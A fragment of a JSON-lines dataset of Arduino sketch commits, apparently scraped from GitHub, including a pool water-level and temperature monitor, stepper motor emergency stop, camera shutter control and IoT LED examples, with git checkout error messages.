mode\n\tfor (uint8_t i = 0; i < 8; i++) {\n\t\tpinMode(LIGHTS_PIN_BASE + i, OUTPUT);\n setLight(i, 0);\n }\n}\n\nvoid loop()\n{\n\tint16_t packetSize = Udp.parsePacket();\n\tif (packetSize) {\n\t\tUdp.read(packetBuffer, LFS_MAX_PACKET_SIZE);\n\t\tUDPOutGaugePacket *p =\n\t\t ((UDPOutGaugePacket *) & packetBuffer);\n uint32_t l = p->dashlights & p->showlights;\n\t\tsetLight(0, l & DL_SHIFT);\n\t\tsetLight(1, l & DL_FULLBEAM);\n\t\tsetLight(2, l & DL_HANDBRAKE);\n\t\tsetLight(3, l & DL_SIGNAL_L);\n\t\tsetLight(4, l & DL_SIGNAL_R);\n\t\tsetLight(5, l & DL_OILWARN);\n\t\tsetLight(6, l & DL_BATTERY);\n setLight(7, p->gear==1);\n\t}\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/RelayTest1\/RelayTest1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3c707a7bd9ef449ef8d7e93fbd30836306c295d7","subject":"Create balancing_tank.ino","message":"Create balancing_tank.ino","repos":"chancsc\/SC_SmartThings,chancsc\/SC_SmartThings","old_file":"ESP8266-Pool_Monitor\/balancing_tank.ino","new_file":"ESP8266-Pool_Monitor\/balancing_tank.ino","new_contents":"\/\/Project: Monitor water level (HC-SR04P) of Balacing tank and the Temperature of Water (DS18b20) \/ Ambient (DHT22) \n\/\/ Send alert via Blynk app if water level is too high, or water temperature is higher than 28 C\n\n\/*\n\/\/https:\/\/community.blynk.cc\/t\/water-tank-level-indicator-with-low-level-warning-notifications\/26271\n\n\/\/v1.0 - Wifi Manager + Blynk\n\/\/v1.1 - added deep sleep function - https:\/\/community.blynk.cc\/t\/esp-deep-sleep\/5622\/13\n\/\/v1.2 - added run time change of deep sleep interval via UI setup\n\/\/v1.3 - \n\n\/\/**** Blynk Virtual Pin Assignments****\n\/\/ V0 - Water temperature alert\n\/\/ V1 - Tank Height (cm)\n\/\/ V2 - Sensor distance from Tank (cm)\n\/\/ V3 - Temperature\n\/\/ V4 - Battery voltage\n\/\/ V6 - Numeric Widget - Sleep interval (mins)\n\/\/ V9 - Level V widget - Water Level %\n\/\/V10 - Numeric Widget - Level exceed then will trigger Alert\n\/\/V11 - Button Widget - To enable \/ disable Alert\n\/\/V12 - Distance - height from sensor to water level\n\nHardware: \n1. Wemos D1 Pro\n2. DS18B20 Temperature Sensor\n3. Ultra Sonic Sensor\n4. 4.7k resistor - put between D4 and VCC\n\n\nUltra sonic Sensor: Vcc - D7, Gnd - Gnd, Echo - D6, Trigger - D5\nDS18820 - Vcc - D8, Gnd - Gnd, Data - D4\n\nTodo\n----\n- if sonar sensor out of range --> don't save but Alert\n- water temperature alert\n\n*\/\n\n#include <OneWire.h>\n#include <DallasTemperature.h>\n#include <ESP8266WiFi.h>\n#include <BlynkSimpleEsp8266.h>\n\nchar auth[] = \"<blynk toeken>\";\n\nchar ssid[] = \"wifi ssid\";\nchar pass[] = \"wifi pwd\";\n\nBlynkTimer timer;\n\n\/\/HC-SR04 ultra sonic sensor\n#define trigPin D5 \/\/ Trigger Pin\n#define echoPin D6 \/\/ Echo Pin\n#define RadarPowerPin D7 \/\/GPIO12 = D6, GPIO14 = D5, GPIO15 = D8\n\n\/\/DS18820 temperature sensor\n#define sensorPin D4\n#define TempPowerPin D8\n\n#define filterSamples 15 \/\/ filterSamples should be an odd number, no smaller than 3\n\nint alertLevelCounter = 0; \/\/Counter starts at zero\n\/\/int volume1; \/\/ for smoothing algorithum\ndouble wLevel; \/\/ for smoothing algorithum\nint levelAlert;\nint wateralert = 0;\n\/\/int sensSmoothArray1 [filterSamples]; \/\/ array for holding raw sensor values for sensor1 \nint smoothDistance; \/\/ variables for sensor1 data\n\n\/\/double alertInMin = 0.5; \/\/Alert time following alert water level being reached (0.5 = 30secs)\n\/\/const int alertDuration = 2; \/\/Alert sent every 2 minutes\n\nint checkFreq = 2; \/\/how often run the check \/ sleep for how long before wake up, in mins\nint tankHeight = 100; \/\/tank's height\nint heightFrTank = 20; \/\/sensor distance from tank\nlong duration, distance; \/\/ Duration used to calculate distance\n\n\/\/init DS11820\nOneWire oneWire(sensorPin);\nDallasTemperature DS18B20(&oneWire);\nfloat temp;\nfloat volt;\n\nBLYNK_CONNECTED() { \/\/ runs once at device startup, once connected to server.\n Blynk.syncVirtual(V1);\n Blynk.syncVirtual(V2);\n Blynk.syncVirtual(V6);\n Blynk.syncVirtual(V10);\n Blynk.syncVirtual(V11);\n}\n\nBLYNK_WRITE(V1) {\n tankHeight = param.asInt();\n Serial.print(\"\\nTank's Height: \");\n Serial.println(tankHeight);\n Serial.println();\n} \n\nBLYNK_WRITE(V2) {\n heightFrTank = param.asInt();\n Serial.print(\"Height from Tank: \");\n Serial.println(heightFrTank);\n Serial.println();\n} \n\nBLYNK_WRITE(V6) {\n checkFreq = param.asInt();\n Serial.print(\"Sleep Interval: \");\n Serial.println(checkFreq);\n Serial.println();\n} \n\nBLYNK_WRITE(V10) {\n levelAlert = param.asInt();\n Serial.print(\"Water Level Alert: \");\n Serial.println(levelAlert);\n Serial.println();\n} \n \nBLYNK_WRITE(V11) { \n\n int alertOff = param.asInt();\n\n if(alertOff == 0) {\n resetWaterLevelAlert();\n wateralert = 1;\n Serial.print(\"Level Alert is OFF.\");\n Serial.println();\n }\n else {\n resetWaterLevelAlert();\n wateralert = 0;\n Serial.print(\"Level Alert is ON.\");\n Serial.println();\n }\n\n}\n\nvoid resetWaterLevelAlert() {\n alertLevelCounter = 0;\n wateralert = 0;\n}\n\nvoid checkWaterLevel() {\n Serial.print(\"Water Level (%) = \");\n Serial.println(wLevel);\n Serial.print(\"Level Alert (%) = \");\n Serial.println(levelAlert);\n Serial.print(\"Alert (1 = off, 0 = on) = \");\n Serial.println(wateralert);\n\n if(wLevel > levelAlert && wateralert == 0){\n\/\/ alertLevelCounter += 1;\n Blynk.notify(\"Water Tank Level Alert\"); \/\/ send push notification to blynk app\n\n }\n\n\/\/ if(alertLevelCounter > alertInMin * 60 && wateralert == 0){\n\/\/ Blynk.notify(\"Water Tank Level Alert\"); \/\/ send push notification to blynk app\n\/\/ wateralert = 1;\n\/\/ resetWaterLevelAlert();\n\/\/ }\n}\n\nvoid MeasureCmForSmoothing() {\n\n \/\/take multiple reading\n\n digitalWrite(RadarPowerPin, HIGH); \/\/provide power\n delay(1000);\n \n smoothDistance = mesureDistance();\n \n digitalWrite(RadarPowerPin, LOW); \/\/turn off power\n delay(100);\n \n Serial.print(\"Smoothed Distance: \");\n Serial.println(smoothDistance);\n\n \/\/tank height 100 cm, sensor is 20 cm above the tank\n wLevel = (tankHeight + heightFrTank - smoothDistance);\n\n Serial.print(\"Water Level (cm): \");\n Serial.println(wLevel);\n\n \/\/convert to %\n wLevel = wLevel \/ tankHeight * 100;\n\n Serial.print(\"Water Level (%): \");\n Serial.println(wLevel);\n\n Blynk.virtualWrite(V12, smoothDistance); \/\/ virtual pin\n Blynk.virtualWrite(V9, wLevel); \/\/ virtual pin\n delay(1000);\n} \n\nvoid UploadMeasureCmForSmoothing() {\n\n Blynk.virtualWrite(V3, temp); \/\/ Water level %\n Blynk.virtualWrite(V4, volt); \/\/ battery \n Blynk.virtualWrite(V9, wLevel); \/\/ Water level %\n Blynk.virtualWrite(V12, smoothDistance); \/\/ virtual pin\n \n}\n\n\nvoid setup() {\n Serial.begin(115200);\n Blynk.begin(auth, ssid, pass);\n \n pinMode(trigPin, OUTPUT);\n pinMode(echoPin, INPUT);\n \/\/pin to provide power to ultra sonic sensor\n pinMode(RadarPowerPin, OUTPUT);\n\n \/\/pin to provide power to temperature sensor\n pinMode(TempPowerPin, OUTPUT);\n \n Serial.println(\"Measure Water Temperature\");\n measurementEvent();\n\n Serial.println(\"\\nMeasure Water Level\");\n MeasureCmForSmoothing();\n\n Serial.println(\"Upload Data\");\n UploadMeasureCmForSmoothing();\n\n Serial.println(\"check WaterLevel Alert\");\n checkWaterLevel();\n\n goToSleep();\n\n}\n \nvoid loop() {\n\n}\n\nint digitalSmooth(int rawIn, int *sensSmoothArray){ \/\/ \"int *sensSmoothArray\" passes an array to the function - the asterisk indicates the array name is a pointer\nint j, k, temp, top, bottom;\nlong total;\nstatic int i;\n\/\/ static int raw[filterSamples];\nstatic int sorted[filterSamples];\nboolean done;\n\ni = (i + 1) % filterSamples; \/\/ increment counter and roll over if necc. - % (modulo operator) rolls over variable\nsensSmoothArray[i] = rawIn; \/\/ input new data into the oldest slot\n\n\/\/ Serial.print(\"raw = \");\n\n for (j=0; j<filterSamples; j++){ \/\/ transfer data array into anther array for sorting and averaging\n sorted[j] = sensSmoothArray[j];\n }\n\n done = 0; \/\/ flag to know when we're done sorting \n while(done != 1){ \/\/ simple swap sort, sorts numbers from lowest to highest\n done = 1;\n for(j = 0; j < (filterSamples - 1); j++){\n if(sorted[j] > sorted[j + 1]){ \/\/ numbers are out of order - swap\n temp = sorted[j + 1];\n sorted [j+1] = sorted[j] ;\n sorted [j] = temp;\n done = 0;\n }\n }\n }\n\n \/\/ throw out top and bottom 15% of samples - limit to throw out at least one from top and bottom\n \/\/ bottom = max(((filterSamples * 15) \/ 100), 1); \n \/\/ top = min((((filterSamples * 85) \/ 100) + 1 ), (filterSamples - 1)); \/\/ the + 1 is to make up for asymmetry caused by integer rounding\n bottom = max(((filterSamples * 20) \/ 100), 1); \n top = min((((filterSamples * 80) \/ 100) + 1 ), (filterSamples - 1)); \/\/ the + 1 is to make up for asymmetry caused by integer rounding\n k = 0;\n total = 0;\n for( j = bottom; j< top; j++){\n total += sorted[j]; \/\/ total remaining indices\n k++; \n \/\/Serial.print(sorted[j]); \n \/\/Serial.print(\" \"); \n \/\/terminal.print(sorted[j]); \n \/\/terminal.println(\" \");\n \n }\n \/\/terminal.print(\"average: \");\n \/\/terminal.println(total\/k);\n \/\/terminal.flush();\n \/\/Serial.println();\n \/\/Serial.print(\"average = \");\n \/\/Serial.println(total\/k);\n return total \/ k; \/\/ divide by number of samples\n}\n\nint mesureSingleDistance() {\n long duration, distance;\n\n digitalWrite(trigPin, LOW);\n delayMicroseconds(2);\n digitalWrite(trigPin, HIGH);\n delayMicroseconds(10);\n digitalWrite(trigPin, LOW);\n duration = pulseIn(echoPin, HIGH);\n distance = (duration\/2) \/ 29.1;\n\n Serial.print(\"Distance: \");\n Serial.println(distance);\n\n return distance;\n }\n\n\/**\n * mresure distnce average delay 10ms\n *\/\nint mesureDistance() {\n const int ULTRASONIC_MIN_DISTANCE = heightFrTank; \/\/20\n const int ULTRASONIC_MAX_DISTANCE = tankHeight + heightFrTank; \/\/120\n\n int i, total_count = 0, total_distance = 0, distance, values[10], average, temp, new_count = 0;\n\n for(i=0; i<5; i++){\n distance = mesureSingleDistance();\n \/\/check if out of range\n if(distance > ULTRASONIC_MIN_DISTANCE && distance < ULTRASONIC_MAX_DISTANCE) {\n total_distance += distance;\n values[total_count++]=distance;\n Serial.printf(\"Value %d...\\n\", distance);\n }\n }\n\n Serial.print(\"total_count = \");\n Serial.println(total_count);\n if(total_count > 0) {\n\n average = total_distance \/ total_count;\n total_distance = 0;\n Serial.printf(\"Average %d...\\n\", average);\n\n for(i=0; i<total_count; i++){\n temp = (average - values[i])*100\/average;\n Serial.printf(\"Analyze %d....%d...\\n\", values[i],temp);\n if(temp < 10 && temp > -10){\n total_distance += values[i];\n new_count++;\n }\n }\n\n if(new_count > 0) {\n\/\/ Serial.print(\"total_distance = \");\n\/\/ Serial.println(total_distance);\n\/\/ Serial.print(\"new_count = \");\n\/\/ Serial.println(new_count);\n return total_distance \/ new_count;\n }\n }\n Serial.println(\"Sonar sensor out of range\");\n return 0; \/\/return 0 meaning the sensor out of range\n }\n\nvoid goToSleep() {\n \/\/ calculate required sleep time and go to sleep\n\n Serial.print(\" Going to sleep now for \");\n Serial.print(checkFreq);\n Serial.println(\" mins\");\n\n ESP.deepSleep(checkFreq * 60 * 1000000); \/\/deepSleep is microseconds 1 sec = 1000000\n delay(100);\n\n} \/\/ end of void goToSleep()\n\nvoid measurementEvent() {\n\n\n \/\/******Measure Water Temperature*********************************************\n digitalWrite(TempPowerPin, HIGH); \/\/provide power\n delay(2000);\n \n DS18B20.begin();\n DS18B20.requestTemperatures(); \n temp = DS18B20.getTempCByIndex(0); \/\/ Celcius\n Serial.print(\"Temperature (C) = \");\n Serial.println(temp);\n\n digitalWrite(TempPowerPin, LOW); \/\/turn off power\n delay(100);\n\n \/\/******Battery Voltage Monitoring*********************************************\n \/\/depend on 220k or 100k resistor used, toggle between this 2 calculation\n\n \/\/ using 220k\n \/\/ Voltage divider R1=100k, R2 = (220k + 100k) + 220k = 540k\n \/\/ Calculation to get the factor: 4.2v * 100\/540 = 0.7777, 0.7777 * y = 4.2, y = 5.4\n\/\/ float calib_factor = 5.28; \/\/ change this value to calibrate the battery voltage, 5.28 is so call calibrated\n\/\/ float calib_factor = 5.4;\n\n \/\/ using 100k\n \/\/ Voltage divider R1 = 100k, R2 = (220k + 100k) + 100k = 420k; \n \/\/ Calculation to get the factor: 4.2v * 100\/420 = 1, 1 * y = 4.2, y = 4.2\n float calib_factor = 4.2;\n \n unsigned long raw = analogRead(A0);\n\/\/ Serial.print(\"raw analog = \");\n\/\/ Serial.println(raw);\n float volt = raw * calib_factor\/1024; \n \n Serial.print( \"\\nVoltage = \");\n Serial.print(volt, 2); \/\/ print with 2 decimal places\n Serial.println (\" V\");\n \n \/\/*******************************************************************************\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266-Pool_Monitor\/balancing_tank.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f47d35e06d8bfa9f22b4e01202ebcd7e6933ded9","subject":"Added: 'manual control' experiment","message":"Added: 'manual control' experiment\n","repos":"jeroendoggen\/Arduino-Interactive","old_file":"Experiments\/manual_control\/manual_control.ino","new_file":"Experiments\/manual_control\/manual_control.ino","new_contents":"\/\/ Arduino Interactive: Optocoupler Example\n\/\/ Copyright 2015 Jeroen Doggen, Christian Munk, Tom Peeters\n\n\/\/ TODO: change the pin numbers where needed -> this code was tested with Fotomind 2.0 (not Fotomind Mini)\n\n\/\/ Optocouplers:\nint flashPin = 6;\nint shutterPin = 7;\nint focusPin = 8;\n\n\/\/ leds:\nint ledPin1 = 2;\nint ledPin2 = 3;\n\n\/\/ buttons:\nint buttonPin1 = 4;\nint buttonPin2 = 5;\n\n\/\/ buttonsStates:\nint stateButtonPin1 = LOW;\nint stateButtonPin2 = LOW;\n\n\/\/ delays:\nint delayTime = 10000;\nint focusDelay = 100;\nint flashDelay = 100;\nint shutterDelay = 100;\n\n\/\/ edges\n#define RISINGEDGE 1\n#define FALLINGEDGE 2\n\nvoid setup()\n{\n Serial.begin(9600);\n pinMode(flashPin, OUTPUT);\n pinMode(shutterPin, OUTPUT);\n pinMode(focusPin, OUTPUT);\n\n pinMode(ledPin1, OUTPUT);\n pinMode(ledPin2, OUTPUT);\n\n pinMode(buttonPin1, INPUT);\n pinMode(buttonPin2, INPUT);\n}\n\nvoid loop()\n{\n manualMode();\n}\n\nvoid takePicture()\n{\n focus();\n shutter();\n}\n\nvoid shutter()\n{\n digitalWrite(shutterPin, HIGH);\n Serial.println(\"Shutter\");\n delay(shutterDelay); \/\/ wait a short time for the shutter to complete\n digitalWrite(shutterPin, LOW);\n}\n\nvoid focus()\n{\n digitalWrite(focusPin, HIGH);\n Serial.println(\"Focus\");\n delay(focusDelay); \/\/ wait a short time for the focus to complete\n digitalWrite(focusPin, LOW);\n}\n\nvoid flash()\n{\n digitalWrite(flashPin, HIGH);\n Serial.println(\"Flash\");\n delay(flashDelay); \/\/ wait a short time for the flash to complete\n digitalWrite(flashPin, LOW);\n}\n\nvoid manualMode()\n{\n if(risingEdgePin1() == RISINGEDGE)\n {\n Serial.println(\"Rising edge button 1\");\n focus();\n }\n if(risingEdgePin2() == RISINGEDGE)\n {\n Serial.println(\"Rising edge button 2\");\n shutter();\n }\n}\n\nint risingEdgePin1()\n{\n int currentReading = digitalRead(buttonPin1);\n delay(10); \/\/debounce\n if(currentReading && !stateButtonPin1)\n {\n stateButtonPin1 = HIGH;\n return(RISINGEDGE);\n }\n else if(!currentReading)\n {\n stateButtonPin1 = LOW;\n }\n return(0);\n}\n\nint risingEdgePin2()\n{\n int currentReading = digitalRead(buttonPin2);\n delay(10); \/\/debounce\n if(currentReading && !stateButtonPin2)\n {\n stateButtonPin2 = HIGH;\n return(RISINGEDGE);\n }\n else if(!currentReading)\n {\n stateButtonPin2 = LOW;\n }\n return(0);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Experiments\/manual_control\/manual_control.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c79955699b4383add28759e0e954f185cb6b8fde","subject":"add emergency stop example. NOTE: untested as I do not have a stepper board or motor available","message":"add emergency stop example.\nNOTE: untested as I do not have a stepper board or motor available\n","repos":"tardate\/X113647Stepper","old_file":"examples\/EmergencyStop\/EmergencyStop.ino","new_file":"examples\/EmergencyStop\/EmergencyStop.ino","new_contents":"\n\/*\n X113647 Stepper Motor Control - one revolution with emergency stop ISR\n\n This program drives a 4-Phase 5-Wire stepper motor using 4 wires\n via an X113647 (ULN2003-based) driver board.\n\n The motor is attached to digital pins 8 - 11 of the Arduino.\n\n The motor should revolve one revolution in one direction, then\n one revolution in the other direction.\n\n *\/\n\n#include <X113647Stepper.h>\n\nconst int stepsPerRevolution = 64 * 32; \/\/ change this to fit the number of steps per revolution for your motor\nvolatile boolean stopped = FALSE;\n\n\/\/ initialize the stepper library on pins 8 through 11:\nX113647Stepper myStepper(stepsPerRevolution, 8, 9, 10, 11);\n\n\nvoid setup() {\n \/\/ set the speed in rpm:\n myStepper.setSpeed(6.5);\n\n \/\/ put an emergency stop button on pin 2 or 3 (we can attach an interrupt on these pins)\n \/\/ the pin uses internal pullup resistors, so button can just ground the pin.\n pinMode(2, INPUT_PULLUP);\n attachInterrupt(digitalPinToInterrupt(2), eStop, FALLING);\n}\n\nvoid loop()\n{\n \/\/ step one revolution in one direction:\n if(!stopped)\n {\n myStepper.step(stepsPerRevolution);\n delay(500);\n }\n\n \/\/ step one revolution in the other direction:\n if(!stopped)\n {\n myStepper.step(-stepsPerRevolution);\n delay(500);\n }\n}\n\nvoid eStop()\n{\n myStepper.estop(); \/\/ stop the motor first\n stopped = true; \/\/ make sure motor won't start on next loop()\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/EmergencyStop\/EmergencyStop.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"66a45307650b3cf8219447c319ffec96fcb14994","subject":"we can now set target temp \\!","message":"we can now set target temp \\!\n","repos":"tconstans\/Thermino,tconstans\/Thermino,tconstans\/Thermino,tconstans\/Thermino","old_file":"src\/Nettest.ino","new_file":"src\/Nettest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tconstans\/Thermino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"40376ba1f0a6dede272df093181fd1d5697267f6","subject":"Add example to read A0","message":"Add example to read A0\n","repos":"stevemarple\/AsyncDelay","old_file":"examples\/ReadA0\/ReadA0.ino","new_file":"examples\/ReadA0\/ReadA0.ino","new_contents":"\/*\n * Simple demonstration of AsyncDelay to read the A0 analogue input\n * every 50 ms. \n*\/\n#include <AsyncDelay.h>\n\n\nAsyncDelay samplingInterval;\n\nvoid setup(void)\n{\n Serial.begin(115200);\n samplingInterval.start(50, AsyncDelay::MILLIS);\n}\n\n\nvoid loop(void)\n{\n if (samplingInterval.isExpired()) {\n uint16_t count = analogRead(A0);\n samplingInterval.repeat();\n Serial.print(count);\n Serial.print('\\n');\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ReadA0\/ReadA0.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"f55192b60756e4ed4104cf071ee49ecdd2b5af84","subject":"Update pt_remote controlled car.ino","message":"Update pt_remote controlled car.ino","repos":"billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino","old_file":"pt_remote controlled car\/pt_remote controlled car.ino","new_file":"pt_remote controlled car\/pt_remote controlled car.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car\/pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"99a1bcafe4eb88d0a9cb24c3b155cf858abcc211","subject":"an example to turn on and off leds","message":"an example to turn on and off leds\n","repos":"octoblu\/microblu_ws,octoblu\/microblu_ws,octoblu\/microblu_ws","old_file":"examples\/skynetim_fakefirmata\/skynetim_fakefirmata.ino","new_file":"examples\/skynetim_fakefirmata\/skynetim_fakefirmata.ino","new_contents":"\/* \n * SSSSS kk tt \n * SS kk kk yy yy nn nnn eee tt \n * SSSSS kkkkk yy yy nnn nn ee e tttt \n * SS kk kk yyyyyy nn nn eeeee tt \n * SSSSS kk kk yy nn nn eeeee tttt \n * yyyyy \n * \n * SkynetClient for http:\/\/skynet.im, OPEN COMMUNICATIONS NETWORK & API FOR \n * THE INTERNET OF THINGS.\n * \n * This sketch is VERY low on ram. Currently it only works on an Arduino Mega\n * (4x the ram of an Uno)\n *\n * Works with ethernet shields compatible with EthernetClient library from\n * Arduino. If you don't know, grab the original \n * http:\/\/arduino.cc\/en\/Main\/ArduinoEthernetShield\n * \n * Requires the ajson library https:\/\/github.com\/interactive-matter\/aJson\n * \n * You will notice we're using F() in Serial.print which might be new to you\n * Its covered briefly on the arduino print page but it means we can store\n * our strings in flash, instead of in ram. \n * \n * You can turn on debugging within SkynetClient.h by uncommenting \n * #define SKYNETCLIENT_DEBUG\n *\/\n\n#include <utility\/w5100.h>\n#include <EEPROM.h>\n#include <aJSON.h>\n#include \"Ethernet.h\"\n#include \"SPI.h\"\n#include \"SkynetClient.h\"\n\n#define RED \"red\"\n#define BLUE \"blue\"\n#define GREEN \"green\"\n\n\/\/for uno avoid pins 10 11 12 13 plus if you're using sd card 4, and additionally pin 7 if wifi\n\/\/for mega avoid pins 50 51 52 53 plus if you're using sd card 4 and additionally pin 47 if wifi\n#define REDLED 3\n#define BLUELED 4\n#define GREENLED 5\n\n#define ON \"on\"\n\nSkynetClient skynetclient;\n\n\/\/you can't have 2 of the same mac on your network!\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nchar hostname[] = \"skynet.im\";\nint port = 80;\n\nvoid setup()\n{\n \/\/delay to give you time to open a console so we don't hammer server\n delay(5000);\n Serial.begin(9600);\n \n \/\/ start the Ethernet connection:\n if (Ethernet.begin(mac) == 0) {\n Serial.println(F(\"Failed to configure Ethernet using DHCP\"));\n \/\/ no point in carrying on, so do nothing forevermore:\n for(;;)\n ;\n }\n \n \/\/decrease tcp timeout, fail quicker so we can get on with things\n W5100.setRetransmissionTime(0x7D);\n \n \/\/ print your local IP address:\n Serial.print(F(\"My IP address: \"));\n for (byte thisByte = 0; thisByte < 4; thisByte++) {\n \/\/ print the value of each byte of the IP address:\n Serial.print(Ethernet.localIP()[thisByte], DEC);\n Serial.print(\".\"); \n }\n Serial.println();\n \n skynetclient.setMessageDelegate(onMessage);\n\n bool status;\n do {\n status=skynetclient.connect(hostname, port);\n }while(!status);\n \n Serial.println(F(\"Connected!\"));\n Serial.print(\"uuid: \");\n Serial.println(skynetclient.uuid);\n Serial.print(\"token: \");\n Serial.println(skynetclient.token);\n\n}\n\naJsonObject *msg;\n\nvoid onMessage(aJsonObject *data){\n \/\/parse or print your message\n Serial.println(aJson.print(data));\n \n msg = aJson.getObjectItem(data, RED);\n if (msg != NULL) {\n if(strcmp(msg->valuestring, ON) == 0){\n Serial.println(\"red on\");\n digitalWrite(REDLED, HIGH);\n }else{\n Serial.println(\"red off\");\n digitalWrite(REDLED, LOW);\n }\n }\n \n msg = aJson.getObjectItem(data, BLUE);\n if (msg != NULL) {\n if(strcmp(msg->valuestring, ON) == 0){\n Serial.println(\"blue on\");\n digitalWrite(BLUELED, HIGH);\n }else{\n Serial.println(\"blue off\");\n digitalWrite(BLUELED, LOW);\n }\n }\n \n msg = aJson.getObjectItem(data, GREEN);\n if (msg != NULL) {\n if(strcmp(msg->valuestring, ON) == 0){\n Serial.println(\"green off\");\n digitalWrite(GREENLED, HIGH);\n }else{\n Serial.println(\"green off\");\n digitalWrite(GREENLED, LOW);\n }\n }\n}\n\nvoid loop(){\n \/\/need to call monitor to check for new data on ethernet\n skynetclient.monitor(); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/skynetim_fakefirmata\/skynetim_fakefirmata.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"2c2eec6b143dfb1840fe533b73c2b3b9543b2658","subject":"Add sketch_switch.ino","message":"Add sketch_switch.ino\n","repos":"yunbademo\/yunba-smartoffice,yunbademo\/yunba-smartoffice,yunbademo\/yunba-smartoffice,yunbademo\/yunba-smartoffice,shdxiang\/yunba-smartoffice,shdxiang\/yunba-smartoffice","old_file":"arduino\/sketch_switch\/sketch_switch.ino","new_file":"arduino\/sketch_switch\/sketch_switch.ino","new_contents":"\/* serial data format:\n * header:\n * flag: 1 byte, 0xaa, filter out debug message\n * type: 1 bytes, 1: upstream, 2: downstream\n * body length: 2 bytes, network byte order\n * body:\n * json data from yunba service\n *\/ \n\n#define HEADER_LEN 4\n#define BUF_LEN 256\n#define FLAG_CHAR 0xaa\n\nconst char *g_appkey = \"5697113d4407a3cd028abead\";\nconst char *g_topic = \"smart_office\";\nconst char *g_devid = \"switch_0\";\n\nchar g_header[HEADER_LEN];\nchar g_buf[BUF_LEN];\nint g_step = 1; \/\/ 1: recv header, 2 recv body\nuint16_t g_body_len = 0;\nuint16_t g_recv_len = 0;\n\nvoid recv_header() {\n while (Serial.available() >= HEADER_LEN) {\n Serial.readBytes(g_header, 1);\n if (g_header[0] == FLAG_CHAR) {\n break;\n }\n }\n\n if (g_header[0] != FLAG_CHAR) { \/\/ no enough data\n return;\n }\n\n Serial.readBytes(g_header + 1, HEADER_LEN - 1);\n\n if (g_header[1] != 2) { \/\/ not a downstream message\n return;\n }\n\n \/* le *\/\n ((uint8_t *)&g_body_len)[0] = g_header[4];\n ((uint8_t *)&g_body_len)[1] = g_header[3];\n\n if (g_body_len > (BUF_LEN - HEADER_LEN - 1)) {\n Serial.println(\"too long msg\");\n return;\n }\n\n g_recv_len = 0;\n g_step = 2;\n}\n\nvoid recv_body() {\n uint16_t len = 0;\n\n len = Serial.readBytes(g_buf + g_recv_len, g_body_len - g_recv_len);\n g_recv_len += len;\n\n if (g_recv_len != g_body_len) {\n return;\n }\n\n \/\/ now got a completed msg\n g_buf[g_body_len] = 0;\n Serial.println(\"got a msg:\");\n Serial.println(g_buf);\n\n handle_msg();\n\n g_step = 1;\n}\n\nvoid handle_msg() {\n \n}\n\nvoid handle_input() {\n if (g_step == 1) {\n recv_header();\n } else if (g_step == 2) {\n recv_body();\n }\n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n \/\/Serial.setTimeout(100);\n Serial.println(\"st..\"); \/\/ setup\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n handle_input();\n delay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/sketch_switch\/sketch_switch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"01b40006e1cd43445cdb1023b65e5b86605b48cd","subject":"Initial baseline - just BLE and IMU, (no neoPixels).","message":"Initial baseline - just BLE and IMU, (no neoPixels).\n","repos":"jkmathes\/amf-dice,jkmathes\/amf-dice,jkmathes\/amf-dice","old_file":"sketch\/CurieDice\/CurieDice.ino","new_file":"sketch\/CurieDice\/CurieDice.ino","new_contents":"\/*\n * ==============================================\n * CurieDice\n * Copyright (c) 2016 by jkmathes and how2000 @ github\n * ==============================================\n *\/\n \n\/*\n ===============================================\n Example sketch for CurieImu library for Intel(R) Curie(TM) devices.\n Copyright (c) 2015 Intel Corporation. All rights reserved.\n\n Based on I2C device class (I2Cdev) demonstration Arduino sketch for MPU6050\n class by Jeff Rowberg: https:\/\/github.com\/jrowberg\/i2cdevlib\n\n ===============================================\n I2Cdev device library code is placed under the MIT license\n Copyright (c) 2011 Jeff Rowberg\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n 